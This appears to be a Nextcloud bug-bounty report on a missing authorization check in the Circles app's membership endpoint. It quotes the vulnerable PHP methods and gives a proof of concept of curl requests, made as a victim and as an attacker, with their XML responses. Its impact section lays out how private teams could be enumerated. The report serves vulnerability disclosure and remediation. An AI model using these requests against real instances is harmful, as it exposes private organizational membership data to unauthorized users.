Nextcloud · Report #3484601
Team membership information returned on API level based on ID
Summary
Security advisory in https://github.com/nextcloud/security-advisories/security/advisories/GHSA-f99w-3pm7-v4cv
How it was found
The getMembership() method in MembershipService and MembershipRequest does not verify that the requesting user has permission to view membership information for a given circle and user combination. This allows any authenticated user to query membership details (including inheritance paths, membership levels, and circle relationships) for any circle and any user by simply knowing or guessing their IDs.
The vulnerability exists because:
MembershipService::getMembership()(line 134) directly callsMembershipRequest::getMembership()without any authorization checkMembershipRequest::getMembership()(line 73) queries the database using onlycircleIdandsingleIdwithout verifying the current user's permissions- The
link()endpoint inLocalController(line 581-590) exposes this functionality without proper access control
Vulnerable Code
File: lib/Service/MembershipService.php
/**
* @param string $circleId
* @param string $singleId
* @param bool $detailed
*
* @return Membership
* @throws MembershipNotFoundException
* @throws RequestBuilderException
*/
public function getMembership(string $circleId, string $singleId, bool $detailed = false): Membership {
$membership = $this->membershipRequest->getMembership($circleId, $singleId); // No authorization check!
if ($detailed) {
$details = $this->circleRequest->getCirclesByIds($membership->getInheritancePath());
$membership->setInheritanceDetails($details); // Also leaks circle details
}
return $membership;
}
File: lib/Db/MembershipRequest.php
/**
* @param string $circleId
* @param string $singleId
*
* @return Membership
* @throws MembershipNotFoundException
*/
public function getMembership(string $circleId, string $singleId): Membership {
$qb = $this->getMembershipSelectSql();
$qb->limitToCircleId($circleId);
$qb->limitToSingleId($singleId);
$qb->leftJoinCircleConfig(self::TABLE_MEMBERSHIP);
return $this->getItemFromRequest($qb); // No permission check!
}
File: lib/Controller/LocalController.php
/**
* @NoAdminRequired
*
* @param string $circleId
* @param string $singleId
*
* @return DataResponse
* @throws OCSException
*/
public function link(string $circleId, string $singleId): DataResponse {
try {
$this->setCurrentFederatedUser();
$membership = $this->membershipService->getMembership($circleId, $singleId, true); // No authorization!
return new DataResponse($this->serialize($membership));
} catch (Exception $e) {
$this->e($e, ['circleId' => $circleId, 'singleId' => $singleId]);
throw new OCSException($e->getMessage(), (int)$e->getCode());
}
}
Route affected:
GET /ocs/v2.php/circles/link/{circleId}/{singleId}- View membership information for any circle and user
Proof of Concept
Test Environment:
- Nextcloud Version: 32.0.3
- Circles App Version: 32.0.0
Attacker Requirements:
- A valid authenticated user account
- Knowledge or ability to guess/brute-force
circleIdandsingleIdvalues - Ability to make HTTP requests to the Nextcloud instance
Steps to Reproduce:
- Create a circle as the victim user:
curl -X POST "http://localhost:8080/ocs/v2.php/apps/circles/circles" \
-H "OCS-APIRequest: true" \
-H "Content-Type: application/json" \
-u victim:Testing-/:321SS \
-d '{"name": "Victim Secret Circle", "personal": false}'
Response (victim's circle created):
<data>
<id>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</id>
<name>Victim Secret Circle</name>
<displayName>Victim Secret Circle</displayName>
<initiator>
<singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
<userId>victim</userId>
</initiator>
</data>
- Access membership information as the victim (legitimate access):
curl -X GET "http://localhost:8080/ocs/v2.php/apps/circles/link/r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk/ovYvboLMBNGvRXSkqhgllIKo6T7fvZl" \
-H "OCS-APIRequest: true" \
-u victim:Testing-/:321SS
Response (victim accessing their own membership - expected):
<data>
<singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
<circleId>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</circleId>
<circleConfig>0</circleConfig>
<level>9</level>
<inheritanceFirst>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</inheritanceFirst>
<inheritanceLast>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</inheritanceLast>
<inheritancePath>
<element>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</element>
</inheritancePath>
<inheritanceDepth>1</inheritanceDepth>
<inheritanceDetails>
<element>
<id>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</id>
<name>user:victim:ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</name>
<displayName>victim</displayName>
<userId>victim</userId>
<owner>
<userId>victim</userId>
</owner>
</element>
</inheritanceDetails>
</data>
- Access the SAME membership information as an attacker (unauthorized access):
curl -X GET "http://localhost:8080/ocs/v2.php/apps/circles/link/r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk/ovYvboLMBNGvRXSkqhgllIKo6T7fvZl" \
-H "OCS-APIRequest: true" \
-u attacker:Testing-/:321S
Response (attacker accessing victim's membership - VULNERABILITY CONFIRMED):
<data>
<singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
<circleId>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</circleId>
<circleConfig>0</circleConfig>
<level>9</level>
<inheritanceFirst>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</inheritanceFirst>
<inheritanceLast>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</inheritanceLast>
<inheritancePath>
<element>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</element>
</inheritancePath>
<inheritanceDepth>1</inheritanceDepth>
<inheritanceDetails>
<element>
<id>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</id>
<name>user:victim:ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</name>
<displayName>victim</displayName>
<userId>victim</userId>
<owner>
<userId>victim</userId>
</owner>
</element>
</inheritanceDetails>
</data>
Proof of Exploitation:
- Both requests (victim and attacker) return identical data
- The attacker successfully accessed the victim's private circle membership information
- The response includes sensitive details:
- Circle ID:
r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk - User's singleId:
ovYvboLMBNGvRXSkqhgllIKo6T7fvZl - Membership level:
9(Owner) - Inheritance path and complete circle details
- User information (userId:
victim)
- Circle ID:
Response includes:
- Membership level and status
- Inheritance path (list of circle IDs)
- Complete circle details for all circles in the inheritance path (when
detailed=true) - Circle configurations and visibility settings
- User identification information
Proof that there is no mitigation to stop the attack:
1. No Authorization Check in Controller Layer:
The link() endpoint in LocalController::link() (line 581-590) calls getMembership() with detailed=true without any authorization verification. The only check is setCurrentFederatedUser() which only verifies the user is authenticated, not that they have permission to view the requested membership. Code path: LocalController::link() → MembershipService::getMembership() → NO PERMISSION CHECK.
2. No Authorization Check in Service Layer:
MembershipService::getMembership() (line 134-142) directly calls MembershipRequest::getMembership() without any authorization logic. There is no call to verify circle access, no check if the current user is a member, and no validation that the user can view information about the target singleId. The method signature shows no $initiator parameter, confirming no permission context is passed.
3. Database Query Has Zero Permission Filtering:
MembershipRequest::getMembership() (line 73-80) builds a query using only limitToCircleId() and limitToSingleId() - these are simple WHERE clauses with no JOIN to membership tables or permission checks. The query builder getMembershipSelectSql() (line 50-59) creates a basic SELECT statement with no authorization joins. The query will return data for ANY circleId/singleId combination if it exists in the database.
4. Detailed Mode Exposes Additional Unauthorized Data:
When detailed=true (always used by the link() endpoint), the code calls getCirclesByIds() (line 137) which also has ZERO authorization checks. This method (CircleRequest.php:324-335) uses minimumLevel => Member::LEVEL_NONE, meaning it requires no membership at all. This leaks complete circle details for all circles in the inheritance path without any permission verification.
5. Endpoint is Publicly Accessible to All Authenticated Users:
The link() endpoint is marked with @NoAdminRequired annotation (line 237), meaning any authenticated user can access it. There is no rate limiting, no additional authorization middleware, and no checks beyond basic authentication. Any user with a valid session can query membership information for any circle/user combination.
6. No Exception Handling Prevents Information Disclosure:
The only exception that can occur is MembershipNotFoundException if the combination doesn't exist. However, this provides an oracle for enumeration - attackers can distinguish between "membership exists" (returns data) and "membership doesn't exist" (throws exception). The error handling does not prevent information disclosure, it only prevents access to non-existent memberships.
Impact
This vulnerability allows any authenticated user to:
- Access membership information for any circle and user combination
- Discover private/hidden circles by enumerating membership relationships
- Map organizational structure through inheritance path information
- Determine membership levels and hierarchies without authorization
- Identify circle relationships and nested structures
- Leak sensitive organizational data through membership enumeration
Business Impact:
- Violation of privacy for private circles and teams
- Exposure of organizational structure and relationships
- Potential for social engineering attacks using discovered relationships
- Violation of data protection regulations (GDPR, etc.)
- Information disclosure that could aid in further attacks
Affected Data:
- All circle memberships in the system
- Inheritance relationships between circles
- Circle configurations and visibility settings
- User-circle relationships
Real-world Attack Scenario: An attacker could:
- Enumerate all circles a target user belongs to
- Discover private executive circles or confidential teams
- Map organizational hierarchy through inheritance paths
- Identify key personnel and their circle memberships
- Use this information for targeted social engineering attacks